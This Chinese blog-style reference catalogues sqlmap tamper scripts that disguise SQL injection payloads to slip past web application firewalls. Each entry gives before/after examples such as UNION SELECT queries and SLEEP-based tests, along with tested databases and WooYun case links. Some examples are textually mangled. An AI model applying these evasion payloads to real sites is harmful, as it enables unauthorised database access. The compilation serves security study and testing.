使用sqlmap中tamper脚本绕过waf

0x00 背景


sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start


脚本名:apostrophemask.py


作用:用utf8代替引号

1
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

脚本名:equaltolike.py


作用:like 代替等号

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Example:
 
*   Input: SELECT * FROM users WHERE id=1
 
*   Output : SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py


作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

1
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py


作用:绕过过滤’>’ ,用GREATEST替换大于号。

1
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py


作用:空格替换为#号 随机字符串 以及换行符

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Example:
 
*   Input: 1 AND 9227=9227
*   Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

参考:法克的一篇文章

脚本名:apostrophenullencode.py


作用:绕过过滤双引号,替换字符和双引号。

1
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py


作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

1
2
3
Example:
 
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

脚本名:space2morehash.py


作用:空格替换为 #号 以及更多随机字符串 换行符

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Example:
 
* Input: 1 AND 9227=9227
 
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

脚本名:appendnullbyte.py


作用:在有效负荷结束位置加载零字节字符编码

1
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'

Requirement:

  • Microsoft Access

脚本名:ifnull2ifisnull.py


作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

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2
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Example:
 
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

脚本名:space2mssqlblank.py(mssql)


作用:空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py


作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py


作用:替换空格

1
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

脚本名:modsecurityversioned.py


作用:过滤空格,包含完整的查询版本注释

1
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名:space2mysqlblank.py


作用:空格替换其它空白符号(mysql)

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Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名:between.py


作用:用between替换大于号(>)

1
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py


作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的

1
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

脚本名:multiplespaces.py


作用:围绕SQL关键字添加多个空格

1
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py


作用:用+替换空格

1
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all

脚本名:bluecoat.py


作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

1
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名:nonrecursivereplacement.py


双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

脚本名:space2randomblank.py


作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

1
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名:sp_password.py


作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

脚本名:chardoubleencode.py


作用: 双url编码(不处理以编码的)

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Example:
 
* Input: SELECT FIELD FROM %20TABLE
 
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名:unionalltounion.py


作用:替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名:charencode.py


作用:url编码

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Example:
 
*   Input: SELECT FIELD FROM %20TABLE
 
*   Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py


作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py


作用:宽字符绕过 GPC addslashes

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Example:
 
* Input: 1′ AND 1=1
 
* Output : 1%bf%27 AND 1=1–%20

脚本名:randomcomments.py


作用:用/**/分割sql关键字

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Example:
 
INSERT ’ becomes ‘ IN //S//ERT’

脚本名:charunicodeencode.py


作用:字符串 unicode 编码

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Example:
 
* Input: SELECT FIELD%20FROM TABLE
 
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py


作用:追加特制的字符串

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Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名:versionedmorekeywords.py


作用:注释绕过

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Example:
 
* Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
 
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名:space2comment.py


作用:Replaces space character (‘ ‘) with comments ‘/**/’

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Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py


作用:关键字前加注释

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Example:
 
* Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa
 
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html


----------------------------------------------------------------------------------------------------------------------------------------------------------------



sqlmap tamper 脚本整理
可一次使用多个脚本,中间用逗号隔开。


apostrophemask.py
用utf8代替引号
Example:
("1 AND '1'='1")    
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against:
all       
—————————————————————————————
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————————
space2dash.py
绕过过滤‘=’ 替换空格字符(''),(' - ')后跟一个破折号注释,一个随机字符串和一个新行('\ n')
Example:
('1 AND 9227=9227') 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against:
* MSSQL
* SQLite
—————————————————————————————
greatest.py
绕过过滤'>' ,用GREATEST替换大于号。
Example:
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)

Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:
* MySQL

Tested against:
* MySQL 4.0, 5.0
——————————————————
apostrophenullencode.py  
绕过过滤双引号,替换字符和双引号。
Replaces apostrophe character with its illegal double unicode counterpart
Example:
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'

Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
Example:
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)

Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:
* MySQL >= 5.1.13

Tested against:
* MySQL 5.1.41

——————————————
appendnullbyte.py   
在有效负荷结束位置加载零字节字符编码 
Example:
('1 AND 1=1')
'1 AND 1=1%00'
Requirement:
* Microsoft Access
——————————————
ifnull2ifisnull.py
绕过对 IFNULL 过滤。
替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)' 
Example:
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

Tested against:
* MySQL 5.0 and 5.5
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号

Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers

Requirement:
* Microsoft SQL Server

Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005

# ASCII table:
#   SOH     01      start of heading
#   STX     02      start of text
#   ETX     03      end of text
#   EOT     04      end of transmission
#   ENQ     05      enquiry
#   ACK     06      acknowledge
#   BEL     07      bell
#   BS      08      backspace
#   TAB     09      horizontal tab
#   LF      0A      new line
#   VT      0B      vertical TAB
#   FF      0C      new page
#   CR      0D      carriage return
#   SO      0E      shift out
#   SI      0F      shift in
————————————————-
base64encode.py 
用base64编码替换
Example:
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
Requirement:
all
————————————————-
space2mssqlhash.py
替换空格
Example:
('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

Requirement:
* MSSQL
* MySQL
————————————————-
modsecurityversioned.py
然过过滤空格,包含完整的查询版本注释
Example:
('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
Requirement:
* MySQL

Tested against:
* MySQL 5.0
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters

Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users

Requirement:
* MySQL

Tested against:
* MySQL 5.1

#   TAB     09      horizontal TAB
#   LF      0A      new line
#   FF      0C      new page
#   CR      0D      carriage return
#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
#   -       A0      -                   (MySQL only)

———————————————————————————-
between.py
用between替换大于号(>)
Example:
('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
———————————————————————————-
modsecurityzeroversioned.py
包含了完整的查询与零版本注释
Example:
('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
Requirement:
* MySQL

Tested against:
* MySQL 5.0
———————————————————————————-
space2mysqldash.py
替换空格字符('')(' - ')后跟一个破折号注释一个新行('\ n')
Example:
('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
Requirement:
* MySQL
* MSSQL
———————————————————————————-
multiplespaces.py  
围绕SQL关键字添加多个空格
Example:
('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
Tested against:
all
———————————————————————————-
space2plus.py
用+替换空格
Example:
('SELECT id FROM users')
'SELECT+id+FROM+users'
Tested against:
all
———————————————————————————-
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
Example:
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
Tested against:
* MySQL 5.1, SGOS
———————————————————————————-
nonrecursivereplacement.py 
双重查询语句
Replaces predefined SQL keywords with representations
suitable for replacement (e.g. .replace("SELECT", "")) filters
取代predefined SQL关键字with表示
suitable for替代(例如  .replace(“SELECT”、"")) filters
Example:
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
———————————————————————————-
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
Example:
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
Tested against:
all
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号

Adds a percentage sign (‘%’) infront of each character

Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:
* ASP

Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
———————————————————————————               
sp_password.py
追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾
Example:
('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
Requirement:
* MSSQL
———————————————————————————               
chardoubleencode.py 双url编码(不处理以编码的)

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————               
unionalltounion.py
替换UNION ALL SELECT UNION SELECT
Example:
('-1 UNION ALL SELECT')
'-1 UNION SELECT'
Requirement:
all
——————————————————————————-
charencode.py
url编码

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
————————————————————
randomcase.py 随机大小写
Replaces each keyword character with random case value

Example:
* Input: INSERT
* Output: InsERt

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
———————————————————————-
unmagicquotes.py 宽字符绕过 GPC  addslashes

Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)

Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
——————————————————————————–
randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN//S//ERT’
————————————————————————
versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:
* MySQL
—————————————————————————-
charunicodeencode.py
字符串 unicode 编码

Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:
* ASP
* ASP.NET

Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3

Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset   
—————————————————————————-
securesphere.py    
追加特制的字符串
Example:
('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
Tested against:
all
—————————————————————————-         
versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment

Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:
* MySQL >= 5.1.13
—————————————————————————-         
space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

Example:
* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls
—————————————————————————-         
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:
* MySQL < 5.1

Tested against:
* MySQL 4.0.18, 5.0.22


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